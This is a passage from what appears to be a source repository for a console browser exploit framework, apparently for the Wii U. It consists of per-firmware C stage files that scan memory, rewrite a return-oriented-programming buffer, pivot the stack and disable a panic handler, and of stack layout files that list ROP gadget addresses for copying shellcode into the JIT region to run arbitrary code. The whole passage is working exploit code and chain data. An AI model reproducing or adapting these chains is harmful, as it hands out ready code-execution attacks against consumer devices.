| // Debug printing 38 | //char msg[255]; 39 | //__os_snprintf(msg, 255, "0x%08x 0x%08x", *code_addr_1, start); 40 | //OSFatal(msg); 41 | } -------------------------------------------------------------------------------- /framework/src/findcode300.c: -------------------------------------------------------------------------------- 1 | #define __PPCExit ((void (*)())0x01018960) 2 | #define OSFatal ((void (*)(char* msg))0x01028A68) 3 | #define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x01027390) 4 | #define rop ((void (*)())0x0E6CE574) 5 | #define memcpy ((void * (*)(void * destination, const void * source, int num))0x0102B5A8) 6 | 7 | #define BUFFER_ADDR 0x1dd7b814 8 | #define CODE_START 0xCAFECAFE 9 | 10 | void start() 11 | { 12 | asm("stwu %r1,-0x2000(%r1)"); 13 | unsigned int * start = (unsigned int*)BUFFER_ADDR; 14 | int i; 15 | 16 | for (i = 0; i < 150; start += 1) { 17 | if (*start == CODE_START) i++; 18 | } 19 | 20 | memcpy((void *)BUFFER_ADDR, (void *)BUFFER_ADDR + 0x800, 0x600); 21 | 22 | unsigned int * code_addr_1 = (unsigned int *)(BUFFER_ADDR + 0x2C); 23 | unsigned int * code_addr_2 = (unsigned int *)(BUFFER_ADDR + 0x44); 24 | unsigned int * code_addr_3 = (unsigned int *)(BUFFER_ADDR + 0x54); 25 | unsigned int * code_addr_4 = (unsigned int *)(BUFFER_ADDR + 0x7C); 26 | *code_addr_1 = (int)start; 27 | *code_addr_2 = (int)start; 28 | *code_addr_3 = (int)start; 29 | *code_addr_4 = (int)start; 30 | 31 | asm( 32 | "lis %r1, 0x1dd7 ;" 33 | "ori %r1, %r1, 0xb814 ;" 34 | ); 35 | rop(); 36 | 37 | // Debug printing 38 | //char msg[255]; 39 | //__os_snprintf(msg, 255, "0x%08x 0x%08x", *code_addr_1, start); 40 | //OSFatal(msg); 41 | } -------------------------------------------------------------------------------- /framework/src/findcode310.c: -------------------------------------------------------------------------------- 1 | #define __PPCExit ((void (*)())0x01018960) 2 | #define OSFatal ((void (*)(char* msg))0x01028A68) 3 | #define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x01027390) 4 | #define rop ((void (*)())0x0E6CE574) 5 | #define memcpy ((void * (*)(void * destination, const void * source, int num))0x0102B5C8) 6 | 7 | #define BUFFER_ADDR 0x1dd7b814 8 | #define CODE_START 0xCAFECAFE 9 | 10 | void start() 11 | { 12 | asm("stwu %r1,-0x2000(%r1)"); 13 | unsigned int * start = (unsigned int*)BUFFER_ADDR; 14 | int i; 15 | 16 | for (i = 0; i < 150; start += 1) { 17 | if (*start == CODE_START) i++; 18 | } 19 | 20 | memcpy((void *)BUFFER_ADDR, (void *)BUFFER_ADDR + 0x800, 0x600); 21 | 22 | unsigned int * code_addr_1 = (unsigned int *)(BUFFER_ADDR + 0x2C); 23 | unsigned int * code_addr_2 = (unsigned int *)(BUFFER_ADDR + 0x44); 24 | unsigned int * code_addr_3 = (unsigned int *)(BUFFER_ADDR + 0x54); 25 | unsigned int * code_addr_4 = (unsigned int *)(BUFFER_ADDR + 0x7C); 26 | *code_addr_1 = (int)start; 27 | *code_addr_2 = (int)start; 28 | *code_addr_3 = (int)start; 29 | *code_addr_4 = (int)start; 30 | 31 | asm( 32 | "lis %r1, 0x1dd7 ;" 33 | "ori %r1, %r1, 0xb814 ;" 34 | ); 35 | rop(); 36 | 37 | // Debug printing 38 | //char msg[255]; 39 | //__os_snprintf(msg, 255, "0x%08x 0x%08x", *code_addr_1, start); 40 | //OSFatal(msg); 41 | } -------------------------------------------------------------------------------- /framework/src/findcode400.c: -------------------------------------------------------------------------------- 1 | #define OSFatal ((void (*)(char* msg))0x0102D01C) 2 | #define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x102b9ac) 3 | #define rop ((void (*)())0x0EA125FC) 4 | #define memcpy ((void * (*)(void * destination, const void * source, int num))0x01030e9c) 5 | 6 | #define BUFFER_ADDR 0x1dd7b814 7 | #define CODE_START 0xCAFECAFE 8 | 9 | void start() 10 | { 11 | asm("stwu %r1,-0x2000(%r1)"); 12 | unsigned int * start = (unsigned int*)BUFFER_ADDR; 13 | int i; 14 | 15 | for (i = 0; i < 150; start += 1) { 16 | if (*start == CODE_START) i++; 17 | } 18 | 19 | memcpy((void *)BUFFER_ADDR, (void *)BUFFER_ADDR + 0x800, 0x600); 20 | 21 | unsigned int * code_addr = (unsigned int *)(BUFFER_ADDR + 0x2C); 22 | unsigned int * code_addr_2 = (unsigned int *)(BUFFER_ADDR + 0x44); 23 | *code_addr = (int)start; 24 | *code_addr_2 = (int)start; 25 | 26 | asm( 27 | "lis %r1, 0x1dd7 ;" 28 | "ori %r1, %r1, 0xb814 ;" 29 | ); 30 | rop(); 31 | 32 | /* Debug printing */ 33 | char msg[255]; 34 | __os_snprintf(msg, 255, "0x%08x 0x%08x", *code_addr, start); 35 | OSFatal(msg); 36 | } -------------------------------------------------------------------------------- /framework/src/findcode410.c: -------------------------------------------------------------------------------- 1 | #define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x1026e60) 2 | #define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x1028460) 3 | #define OSFatal ((void (*)(char* msg))0x0102D01C) 4 | #define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x102b9ac) 5 | #define rop ((void (*)())0x0E0D595C) 6 | #define memcpy ((void * (*)(void * destination, const void * source, int num))0x01030ee4) 7 | 8 | #define BUFFER_ADDR 0x1dd7b814 9 | #define CODE_START 0xCAFECAFE 10 | 11 | void start() 12 | { 13 | asm("stwu %r1,-0x2000(%r1)"); 14 | unsigned int * start = (unsigned int*)BUFFER_ADDR; 15 | int i; 16 | 17 | for (i = 0; i < 150; start += 1) { 18 | if (*start == CODE_START) i++; 19 | } 20 | 21 | memcpy((void *)BUFFER_ADDR, (void *)BUFFER_ADDR + 0x800, 0x600); 22 | 23 | unsigned int * code_addr = (unsigned int *)(BUFFER_ADDR + 0x94); 24 | //unsigned int * jump_addr = (unsigned int *)(BUFFER_ADDR + 0x19C); 25 | //unsigned int * jump_memcpy = (unsigned int *)(BUFFER_ADDR + 0x540); 26 | *code_addr = (int)start; 27 | //*jump_memcpy = 0; 28 | //*jump_addr = 0x0102D01C; 29 | 30 | asm( 31 | "lis %r1, 0x1dd7 ;" 32 | "ori %r1, %r1, 0xb814 ;" 33 | ); 34 | rop(); 35 | 36 | /* Debug printing */ 37 | //char msg[255]; 38 | //__os_snprintf(msg, 255, "0x%08x 0x%08x", *code_addr, start); 39 | //OSFatal(msg); 40 | } -------------------------------------------------------------------------------- /framework/src/findcode500.c: -------------------------------------------------------------------------------- 1 | #define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x1029CD8) 2 | #define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x102B3E4) 3 | #define OSFatal ((void (*)(char* msg))0x0) 4 | #define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0) 5 | #define rop ((void (*)())0x0DC80440) 6 | #define memcpy ((void * (*)(void * destination, const void * source, int num))0x1035460) 7 | 8 | #define BUFFER_ADDR 0x1dd7b814 9 | #define CODE_START 0xCAFECAFE 10 | 11 | void start() 12 | { 13 | asm("stwu %r1,-0x2000(%r1)"); 14 | unsigned int * start = (unsigned int*)BUFFER_ADDR; 15 | int i; 16 | 17 | for (i = 0; i < 150; start += 1) { 18 | if (*start == CODE_START) i++; 19 | } 20 | 21 | memcpy((void *)BUFFER_ADDR, (void *)BUFFER_ADDR + 0x800, 0x600); 22 | 23 | unsigned int * code_addr = (unsigned int *)(BUFFER_ADDR + 0x94); 24 | //unsigned int * jump_addr = (unsigned int *)(BUFFER_ADDR + 0x19C); 25 | //unsigned int * jump_memcpy = (unsigned int *)(BUFFER_ADDR + 0x540); 26 | *code_addr = (int)start; 27 | //*jump_memcpy = 0; 28 | //*jump_addr = 0x0102D01C; 29 | 30 | asm( 31 | "lis %r1, 0x1dd7 ;" 32 | "ori %r1, %r1, 0xb814 ;" 33 | ); 34 | rop(); 35 | 36 | /* Debug printing */ 37 | //char msg[255]; 38 | //__os_snprintf(msg, 255, "0x%08x 0x%08x", *code_addr, start); 39 | //OSFatal(msg); 40 | } -------------------------------------------------------------------------------- /framework/src/findcode532.c: -------------------------------------------------------------------------------- 1 | #define OSFatal ((void (*)(char* msg))0x1031368) 2 | #define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x102f09c) 3 | #define rop ((void (*)(unsigned int r3))0xd8f502c) 4 | #define memcpy ((void * (*)(void * destination, const void * source, int num))0x1035a6c) 5 | 6 | #define BUFFER_ADDR 0x1b201814 7 | #define CODE_START 0xCAFECAFE 8 | #define OSPANIC_CB 0x1003AAAC 9 | 10 | void start() 11 | { 12 | /* Set up a different stack */ 13 | asm("stwu %r1,-0x2000(%r1)"); 14 | 15 | /* Remove the OSPanic() callback */ 16 | unsigned int *ospanic_cb = (unsigned int*)OSPANIC_CB; 17 | ospanic_cb[0] = ospanic_cb[1] = 0; 18 | 19 | /* Copy another version of the ROP buffer over the original */ 20 | unsigned int *ropbuf = (unsigned int*)BUFFER_ADDR; 21 | memcpy(ropbuf, (void*)BUFFER_ADDR + 0x1000, 0x5c0); 22 | 23 | /* Look for the code buffer (checking the start, middle, and end) */ 24 | unsigned int *codebuf = (unsigned int*)BUFFER_ADDR; 25 | while (codebuf < (unsigned int*)0x20000000) 26 | { 27 | if (*codebuf == CODE_START && 28 | codebuf[0x4000/4] == ropbuf[0x190/4] && 29 | codebuf[0x7FFC/4] == ropbuf[0x194/4]) break; 30 | codebuf++; 31 | } 32 | if (codebuf == 0x20000000) OSFatal("Code not found"); 33 | 34 | /* Modify the ROP buffer to copy the code spray into the JIT */ 35 | ropbuf[0x318/4] = &ropbuf[0xa0/4]; 36 | ropbuf[0xdc/4] = codebuf + 1; 37 | ropbuf[0xe0/4] = 0x8000; 38 | 39 | /* Perform ROP again */ 40 | rop(BUFFER_ADDR + 0x30c); 41 | } 42 | -------------------------------------------------------------------------------- /framework/stack/stack200.txt: -------------------------------------------------------------------------------- 1 | 0x0C - ROP gadget #1 (at the start, r1 is at offset 0x08) 0x0E65EE10 2 | 0x10 - Buffer address 0x1DD7B814 3 | 0x14 - 0 0x0 4 | 5 | 0x1C - ROP gadget #2 (at the start, r1 is at offset 0x18) 0x0EC89598 6 | 7 | 0x24 - ROP gadget #3 (at the start, r1 is at offset 0x20) 0x0E73D9B0 8 | 0x28 - 0 0x0 9 | 0x2C - Shellcode address 0x1DD7B974 10 | 11 | 0x38 - 0 0x0 12 | 0x3C - 0 0x0 13 | 0x40 - 0 0x0 14 | 0x44 - Shellcode address 0x1DD7B974 15 | 16 | 0x4C - ROP gadget #4 (at the start, r1 is at offset 0x48) 0x0EC59950 17 | 0x54 - Shellcode address 0x1DD7B974 18 | 0x78 - Shellcode length 0x8000 19 | 0x7C - Shellcode address 0x1DD7B974 20 | 21 | 0xA4 - ROP gadget #5 (at the start, r1 is at offset 0xA0) 0x0E65EE10 22 | 0xA8 - Buffer address + 4 0x1DD7B818 23 | 0xAC - JIT address 0x01800000 24 | 25 | 0xB4 - ROP gadget #6 (at the start, r1 is at offset 0xB0) 0x0EC89598 26 | 27 | 0xBC - ROP gadget #7 (at the start, r1 is at offset 0xB8) 0x0E65EE10 28 | 0xC0 - Buffer address + 8 0x1DD7B81C 29 | 0xC4 - JIT address 0x01800000 30 | 31 | 0xCC - ROP gadget #8 (at the start, r1 is at offset 0xC8) 0x0E73D9B0 32 | 0xD0 - 0 0x0 33 | 0xD4 - Shellcode length 0x8000 34 | 35 | 0xE0 - 0 0x0 36 | 0xE4 - 0 0x0 37 | 0xE8 - 0 0x0 38 | 0xEC - JIT address 0x01800000 39 | 40 | 0xF4 - ROP gadget #9 (at the start, r1 is at offset 0xF0) 0x0EC89598 41 | 42 | 0xFC - ROP gadget #10 (at the start, r1 is at offset 0xF8) 0x0E65EE10 43 | 0x100 - Buffer address + 12 0x1DD7B820 44 | 0x104 - JIT address 0x01800000 45 | 46 | 0x10C - ROP gadget #11 (at the start, r1 is at offset 0x108) 0x0E73D9B0 47 | 0x110 - 0 0x0 48 | 0x114 - Shellcode length 0x8000 49 | 50 | 0x120 - 0 0x0 51 | 0x124 - 0 0x0 52 | 0x128 - 0 0x0 53 | 0x12C - JIT address 0x01800000 54 | 55 | 0x134 - ROP gadget #12 (at the start, r1 is at offset 0x130) 0x0EC89598 56 | 57 | 0x13C - ROP gadget #13 (at the start, r1 is at offset 0x138) 0x0E65EE10 58 | 0x140 - Buffer address 0x1DD7B814 59 | 0x144 - 1 0x1 60 | 61 | 0x14C - ROP gadget #14 (at the start, r1 is at offset 0x148) 0x0EC89598 62 | 63 | 0x154 - ROP gadget #15 0x01800000 64 | 65 | 0x160 - Shellcode 66 | 67 | 0x48C - Function epilogue gadget 0x0E65E8F4 68 | 0x490 - Function epilogue gadget 0x0E65E8F4 69 | 0x494 - Function epilogue gadget 0x0E65E8F4 70 | 0x498 - Function epilogue gadget 0x0E65E8F4 71 | 0x49C - Function epilogue gadget 0x0E65E8F4 72 | 0x4CC - OSSwitchSecCodeGenMode() 0x0102A93C 73 | 0x4D0 - memcpy() 0x01029C04 74 | 0x4D4 - DCFlushRange() 0x0101D790 75 | 0x4D8 - ICInvalidateRange() 0x0101D8B8 76 | 0x4DC - Stack pivot gadget 0x0E8CA8D8 77 | 0x57C - Function epilogue gadget 0x0E65E8F4 78 | -------------------------------------------------------------------------------- /framework/stack/stack210.txt: -------------------------------------------------------------------------------- 1 | 0x0C - ROP gadget #1 (at the start, r1 is at offset 0x08) 0x0E6B2CD0 2 | 0x10 - Buffer address 0x1DD7B814 3 | 0x14 - 0 0x0 4 | 5 | 0x1C - ROP gadget #2 (at the start, r1 is at offset 0x18) 0x0ECDD49C 6 | 7 | 0x24 - ROP gadget #3 (at the start, r1 is at offset 0x20) 0x0E791870 8 | 0x28 - 0 0x0 9 | 0x2C - Shellcode address 0x1DD7B974 10 | 11 | 0x38 - 0 0x0 12 | 0x3C - 0 0x0 13 | 0x40 - 0 0x0 14 | 0x44 - Shellcode address 0x1DD7B974 15 | 16 | 0x4C - ROP gadget #4 (at the start, r1 is at offset 0x48) 0x0ECAD854 17 | 0x54 - Shellcode address 0x1DD7B974 18 | 0x78 - Shellcode length 0x8000 19 | 0x7C - Shellcode address 0x1DD7B974 20 | 21 | 0xA4 - ROP gadget #5 (at the start, r1 is at offset 0xA0) 0x0E6B2CD0 22 | 0xA8 - Buffer address + 4 0x1DD7B818 23 | 0xAC - JIT address 0x01800000 24 | 25 | 0xB4 - ROP gadget #6 (at the start, r1 is at offset 0xB0) 0x0ECDD49C 26 | 27 | 0xBC - ROP gadget #7 (at the start, r1 is at offset 0xB8) 0x0E6B2CD0 28 | 0xC0 - Buffer address + 8 0x1DD7B81C 29 | 0xC4 - JIT address 0x01800000 30 | 31 | 0xCC - ROP gadget #8 (at the start, r1 is at offset 0xC8) 0x0E791870 32 | 0xD0 - 0 0x0 33 | 0xD4 - Shellcode length 0x8000 34 | 35 | 0xE0 - 0 0x0 36 | 0xE4 - 0 0x0 37 | 0xE8 - 0 0x0 38 | 0xEC - JIT address 0x01800000 39 | 40 | 0xF4 - ROP gadget #9 (at the start, r1 is at offset 0xF0) 0x0ECDD49C 41 | 42 | 0xFC - ROP gadget #10 (at the start, r1 is at offset 0xF8) 0x0E6B2CD0 43 | 0x100 - Buffer address + 12 0x1DD7B820 44 | 0x104 - JIT address 0x01800000 45 | 46 | 0x10C - ROP gadget #11 (at the start, r1 is at offset 0x108) 0x0E791870 47 | 0x110 - 0 0x0 48 | 0x114 - Shellcode length 0x8000 49 | 50 | 0x120 - 0 0x0 51 | 0x124 - 0 0x0 52 | 0x128 - 0 0x0 53 | 0x12C - JIT address 0x01800000 54 | 55 | 0x134 - ROP gadget #12 (at the start, r1 is at offset 0x130) 0x0ECDD49C 56 | 57 | 0x13C - ROP gadget #13 (at the start, r1 is at offset 0x138) 0x0E6B2CD0 58 | 0x140 - Buffer address 0x1DD7B814 59 | 0x144 - 1 0x1 60 | 61 | 0x14C - ROP gadget #14 (at the start, r1 is at offset 0x148) 0x0ECDD49C 62 | 63 | 0x154 - ROP gadget #15 0x01800000 64 | 65 | 0x160 - Shellcode 66 | 67 | 0x48C - Function epilogue gadget 0x0E6C3A44 68 | 0x490 - Function epilogue gadget 0x0E6C3A44 69 | 0x494 - Function epilogue gadget 0x0E6C3A44 70 | 0x498 - Function epilogue gadget 0x0E6C3A44 71 | 0x49C - Function epilogue gadget 0x0E6C3A44 72 | 0x4CC - OSSwitchSecCodeGenMode() 0x0102ABBC 73 | 0x4D0 - memcpy() 0x01029E84 74 | 0x4D4 - DCFlushRange() 0x0101D810 75 | 0x4D8 - ICInvalidateRange() 0x0101D938 76 | 0x4DC - Stack pivot gadget 0x0E91E798 77 | 0x57C - Function epilogue gadget 0x0E6C3A44 78 | -------------------------------------------------------------------------------- /framework/stack/stack300.txt: -------------------------------------------------------------------------------- 1 | 0x0C - ROP gadget #1 (at the start, r1 is at offset 0x08) 0x0E6CEA90 2 | 0x10 - Buffer address 0x1DD7B814 3 | 0x14 - 0 0x0 4 | 5 | 0x1C - ROP gadget #2 (at the start, r1 is at offset 0x18) 0x0ECECB34 6 | 7 | 0x24 - ROP gadget #3 (at the start, r1 is at offset 0x20) 0x0E7AD434 8 | 0x28 - 0 0x0 9 | 0x2C - Shellcode address 0x1DD7B974 10 | 11 | 0x38 - 0 0x0 12 | 0x3C - 0 0x0 13 | 0x40 - 0 0x0 14 | 0x44 - Shellcode address 0x1DD7B974 15 | 16 | 0x4C - ROP gadget #4 (at the start, r1 is at offset 0x48) 0x0ECBCF8C 17 | 0x54 - Shellcode address 0x1DD7B974 18 | 0x78 - Shellcode length 0x8000 19 | 0x7C - Shellcode address 0x1DD7B974 20 | 21 | 0xA4 - ROP gadget #5 (at the start, r1 is at offset 0xA0) 0x0E6CEA90 22 | 0xA8 - Buffer address + 4 0x1DD7B818 23 | 0xAC - JIT address 0x01800000 24 | 25 | 0xB4 - ROP gadget #6 (at the start, r1 is at offset 0xB0) 0x0ECECB34 26 | 27 | 0xBC - ROP gadget #7 (at the start, r1 is at offset 0xB8) 0x0E6CEA90 28 | 0xC0 - Buffer address + 8 0x1DD7B81C 29 | 0xC4 - JIT address 0x01800000 30 | 31 | 0xCC - ROP gadget #8 (at the start, r1 is at offset 0xC8) 0x0E7AD434 32 | 0xD0 - 0 0x0 33 | 0xD4 - Shellcode length 0x8000 34 | 35 | 0xE0 - 0 0x0 36 | 0xE4 - 0 0x0 37 | 0xE8 - 0 0x0 38 | 0xEC - JIT address 0x01800000 39 | 40 | 0xF4 - ROP gadget #9 (at the start, r1 is at offset 0xF0) 0x0ECECB34 41 | 42 | 0xFC - ROP gadget #10 (at the start, r1 is at offset 0xF8) 0x0E6CEA90 43 | 0x100 - Buffer address + 12 0x1DD7B820 44 | 0x104 - JIT address 0x01800000 45 | 46 | 0x10C - ROP gadget #11 (at the start, r1 is at offset 0x108) 0x0E7AD434 47 | 0x110 - 0 0x0 48 | 0x114 - Shellcode length 0x8000 49 | 50 | 0x120 - 0 0x0 51 | 0x124 - 0 0x0 52 | 0x128 - 0 0x0 53 | 0x12C - JIT address 0x01800000 54 | 55 | 0x134 - ROP gadget #12 (at the start, r1 is at offset 0x130) 0x0ECECB34 56 | 57 | 0x13C - ROP gadget #13 (at the start, r1 is at offset 0x138) 0x0E6CEA90 58 | 0x140 - Buffer address 0x1DD7B814 59 | 0x144 - 1 0x1 60 | 61 | 0x14C - ROP gadget #14 (at the start, r1 is at offset 0x148) 0x0ECECB34 62 | 63 | 0x154 - ROP gadget #15 0x01800000 64 | 65 | 0x160 - Shellcode 66 | 67 | 0x48C - Function epilogue gadget 0x0E6CE574 68 | 0x490 - Function epilogue gadget 0x0E6CE574 69 | 0x494 - Function epilogue gadget 0x0E6CE574 70 | 0x498 - Function epilogue gadget 0x0E6CE574 71 | 0x49C - Function epilogue gadget 0x0E6CE574 72 | 0x4CC - OSSwitchSecCodeGenMode() 0x0102C2F4 73 | 0x4D0 - memcpy() 0x0102B5A8 74 | 0x4D4 - DCFlushRange() 0x0101DA3C 75 | 0x4D8 - ICInvalidateRange() 0x0101DB64 76 | 0x4DC - Stack pivot gadget 0x0E937BD0 77 | 0x57C - Function epilogue gadget 0x0E6CE574 78 | -------------------------------------------------------------------------------- /framework/stack/stack310.txt: -------------------------------------------------------------------------------- 1 | 0x0C - ROP gadget #1 (at the start, r1 is at offset 0x08) 0x0E6CEA90 2 | 0x10 - Buffer address 0x1DD7B814 3 | 0x14 - 0 0x0 4 | 5 | 0x1C - ROP gadget #2 (at the start, r1 is at offset 0x18) 0x0ECECB34 6 | 7 | 0x24 - ROP gadget #3 (at the start, r1 is at offset 0x20) 0x0E7AD434 8 | 0x28 - 0 0x0 9 | 0x2C - Shellcode address 0x1DD7B974 10 | 11 | 0x38 - 0 0x0 12 | 0x3C - 0 0x0 13 | 0x40 - 0 0x0 14 | 0x44 - Shellcode address 0x1DD7B974 15 | 16 | 0x4C - ROP gadget #4 (at the start, r1 is at offset 0x48) 0x0ECBCF8C 17 | 0x54 - Shellcode address 0x1DD7B974 18 | 0x78 - Shellcode length 0x8000 19 | 0x7C - Shellcode address 0x1DD7B974 20 | 21 | 0xA4 - ROP gadget #5 (at the start, r1 is at offset 0xA0) 0x0E6CEA90 22 | 0xA8 - Buffer address + 4 0x1DD7B818 23 | 0xAC - JIT address 0x01800000 24 | 25 | 0xB4 - ROP gadget #6 (at the start, r1 is at offset 0xB0) 0x0ECECB34 26 | 27 | 0xBC - ROP gadget #7 (at the start, r1 is at offset 0xB8) 0x0E6CEA90 28 | 0xC0 - Buffer address + 8 0x1DD7B81C 29 | 0xC4 - JIT address 0x01800000 30 | 31 | 0xCC - ROP gadget #8 (at the start, r1 is at offset 0xC8) 0x0E7AD434 32 | 0xD0 - 0 0x0 33 | 0xD4 - Shellcode length 0x8000 34 | 35 | 0xE0 - 0 0x0 36 | 0xE4 - 0 0x0 37 | 0xE8 - 0 0x0 38 | 0xEC - JIT address 0x01800000 39 | 40 | 0xF4 - ROP gadget #9 (at the start, r1 is at offset 0xF0) 0x0ECECB34 41 | 42 | 0xFC - ROP gadget #10 (at the start, r1 is at offset 0xF8) 0x0E6CEA90 43 | 0x100 - Buffer address + 12 0x1DD7B820 44 | 0x104 - JIT address 0x01800000 45 | 46 | 0x10C - ROP gadget #11 (at the start, r1 is at offset 0x108) 0x0E7AD434 47 | 0x110 - 0 0x0 48 | 0x114 - Shellcode length 0x8000 49 | 50 | 0x120 - 0 0x0 51 | 0x124 - 0 0x0 52 | 0x128 - 0 0x0 53 | 0x12C - JIT address 0x01800000 54 | 55 | 0x134 - ROP gadget #12 (at the start, r1 is at offset 0x130) 0x0ECECB34 56 | 57 | 0x13C - ROP gadget #13 (at the start, r1 is at offset 0x138) 0x0E6CEA90 58 | 0x140 - Buffer address 0x1DD7B814 59 | 0x144 - 1 0x1 60 | 61 | 0x14C - ROP gadget #14 (at the start, r1 is at offset 0x148) 0x0ECECB34 62 | 63 | 0x154 - ROP gadget #15 0x01800000 64 | 65 | 0x160 - Shellcode 66 | 67 | 0x48C - Function epilogue gadget 0x0E6CE574 68 | 0x490 - Function epilogue gadget 0x0E6CE574 69 | 0x494 - Function epilogue gadget 0x0E6CE574 70 | 0x498 - Function epilogue gadget 0x0E6CE574 71 | 0x49C - Function epilogue gadget 0x0E6CE574 72 | 0x4CC - OSSwitchSecCodeGenMode() 0x0102C374 73 | 0x4D0 - memcpy() 0x0102B5C8 74 | 0x4D4 - DCFlushRange() 0x0101DA3C 75 | 0x4D8 - ICInvalidateRange() 0x0101DB64 76 | 0x4DC - Stack pivot gadget 0x0E937BD0 77 | 0x57C - Function epilogue gadget 0x0E6CE574 78 | -------------------------------------------------------------------------------- /framework/stack/stack400.txt: -------------------------------------------------------------------------------- 1 | 0x0C - ROP gadget #1 (at the start, r1 is at offset 0x08) 0x0ea125b0 2 | 0x10 - Buffer address 0x1DD7B814 3 | 0x14 - 0 0x0 4 | 5 | 0x1C - ROP gadget #2 (at the start, r1 is at offset 0x18) 0x0EA12168 6 | 7 | 0x24 - ROP gadget #3 (at the start, r1 is at offset 0x20) 0x0e0f71d8 8 | 0x28 - 0 9 | 0x2C - Shellcode address 0x1DD7B974 10 | 11 | 0x40 - 0 0x0 12 | 0x44 - Shellcode address 0x1DD7B974 13 | 14 | 0x4C - ROP gadget #4 (at the start, r1 is at offset 0x48) 0x0e23b450 15 | 0x58 - Shellcode length 0x8000 16 | 0xA8 - Buffer address + 4 0x1DD7B818 17 | 0xAC - JIT address 0x01800000 18 | 19 | 0xB4 - ROP gadget #5 (at the start, r1 is at offset 0xB0) 0x0EA12168 20 | 21 | 0xBC - ROP gadget #6 (at the start, r1 is at offset 0xB8) 0x0ea125b0 22 | 0xC0 - Buffer address + 8 0x1DD7B81C 23 | 0xC4 - JIT address 0x01800000 24 | 25 | 0xCC - ROP gadget #7 (at the start, r1 is at offset 0xC8) 0x0e0f71d8 26 | 0xD0 - 0 27 | 0xD4 - Shellcode length 0x8000 28 | 29 | 0xE8 - 0 0x0 30 | 0xEC - Shellcode length 0x8000 31 | 32 | 0xF4 - ROP gadget #8 (at the start, r1 is at offset 0xF0) 0x0EA12168 33 | 34 | 0xFC - ROP gadget #9 (at the start, r1 is at offset 0xF8) 0x0ea125b0 35 | 0x100 - Buffer address + 12 0x1DD7B820 36 | 0x104 - JIT address 0x01800000 37 | 38 | 0x10C - ROP gadget #10 (at the start, r1 is at offset 0x108) 0x0e0f71d8 39 | 0x110 - 0 40 | 0x114 - Shellcode length 0x8000 41 | 42 | 0x128 - 0 0x0 43 | 0x12C - Shellcode length 0x8000 44 | 45 | 0x134 - ROP gadget #11 (at the start, r1 is at offset 0x130) 0x0EA12168 46 | 47 | 0x13C - ROP gadget #12 (at the start, r1 is at offset 0x138) 0x0ea125b0 48 | 0x140 - Buffer address 0x1DD7B814 49 | 0x144 - 1 0x1 50 | 51 | 0x14C - ROP gadget #13 (at the start, r1 is at offset 0x148) 0x0EA12168 52 | 53 | 0x154 - ROP gadget #14 0x01800000 54 | 55 | 0x160 - Shellcode 56 | 57 | 0x4FC - Function epilogue gadget 0x0EA125FC 58 | 0x500 - Function epilogue gadget 0x0EA125FC 59 | 0x504 - Function epilogue gadget 0x0EA125FC 60 | 0x508 - Function epilogue gadget 0x0EA125FC 61 | 0x50C - Function epilogue gadget 0x0EA125FC 62 | 0x53C - OSSwitchSecCodeGenMode() 0x01031c48 63 | 0x540 - memcpy() 0x01030e9c 64 | 0x544 - DCFlushRange() 0x01020eac 65 | 0x548 - ICInvalidateRange() 0x01020fd4 66 | 0x54C - Stack pivot gadget 0x0e3c6984 67 | 0x5EC - Function epilogue gadget 0x0EA125FC 68 | -------------------------------------------------------------------------------- /framework/stack/stack410.txt: -------------------------------------------------------------------------------- 1 | 0x0C - ROP gadget #1 (at the start, r1 is at offset 0x08) 0x0E0D6D8C 2 | 0x14 - Buffer address 0x1dd7b814 3 | 0x18 - r30 4 | 0x1C - 0 0x0 5 | 6 | 0x24 - ROP gadget #2 (at the start, r1 is at offset 0x20) 0x0EA04AC0 7 | 8 | 0x2C - ROP gadget #3 (at the start, r1 is at offset 0x28) 0x0E0F9000 9 | 0x60 - Shellcode length 0x8000 10 | 0x7C - Buffer address + 4 0x1dd7b818 11 | 0x80 - r30 12 | 0x88 - JIT address 0x01800000 13 | 14 | 0x8C - ROP gadget #4 (at the start, r1 is at offset 0x88) 0x0E0E5D54 15 | 0x90 - r3 16 | 0x94 - Shellcode address 0x1e832018 0x1dd7b9c4 17 | 0xB8 - r30 18 | 0xBC - JIT address 0x01800000 19 | 20 | 0xC4 - ROP gadget #5 (at the start, r1 is at offset 0xC0) 0x0EA04AC0 21 | 22 | 0xCC - ROP gadget #6 (at the start, r1 is at offset 0xC8) 0x0E0D6D8C 23 | 0xD4 - Buffer address + 8 0x1dd7b81c 24 | 0xD8 - r30 25 | 0xDC - JIT address 0x01800000 26 | 27 | 0xE4 - ROP gadget #7 (at the start, r1 is at offset 0xE0) 0x0E0E5D54 28 | 0xE8 - r3 29 | 0xEC - Shellcode length 0x8000 30 | 0x110 - r30 31 | 0x114 - JIT address 0x01800000 32 | 33 | 0x11C - ROP gadget #8 (at the start, r1 is at offset 0x118) 0x0EA04AC0 34 | 35 | 0x124 - ROP gadget #9 (at the start, r1 is at offset 0x120) 0x0E0D6D8C 36 | 0x12C - Buffer address + 12 0x1dd7b820 37 | 0x130 - r30 38 | 0x134 - JIT address 0x01800000 39 | 40 | 0x13C - ROP gadget #10 (at the start, r1 is at offset 0x138) 0x0E0E5D54 41 | 0x140 - r3 42 | 0x144 - Shellcode length 0x8000 43 | 0x168 - r30 44 | 0x16C - JIT address 0x01800000 45 | 46 | 0x174 - ROP gadget #11 (at the start, r1 is at offset 0x170) 0x0EA04AC0 47 | 48 | 0x17C - ROP gadget #12 (at the start, r1 is at offset 0x178) 0x0E0D6D8C 49 | 0x184 - Buffer address 0x1dd7b814 50 | 0x188 - r30 51 | 0x18C - 1 0x1 52 | 53 | 0x194 - ROP gadget #13 (at the start, r1 is at offset 0x190) 0x0EA04AC0 54 | 55 | 0x19C - ROP gadget #14 (at the start, r1 is at offset 0x198) 0x01800000 56 | 57 | 0x1B0 - Shellcode 58 | 59 | 0x4FC - Function epilogue gadget 0x0E0D595C 60 | 0x500 - Function epilogue gadget 0x0E0D595C 61 | 0x504 - Function epilogue gadget 0x0E0D595C 62 | 0x508 - Function epilogue gadget 0x0E0D595C 63 | 0x50C - Function epilogue gadget 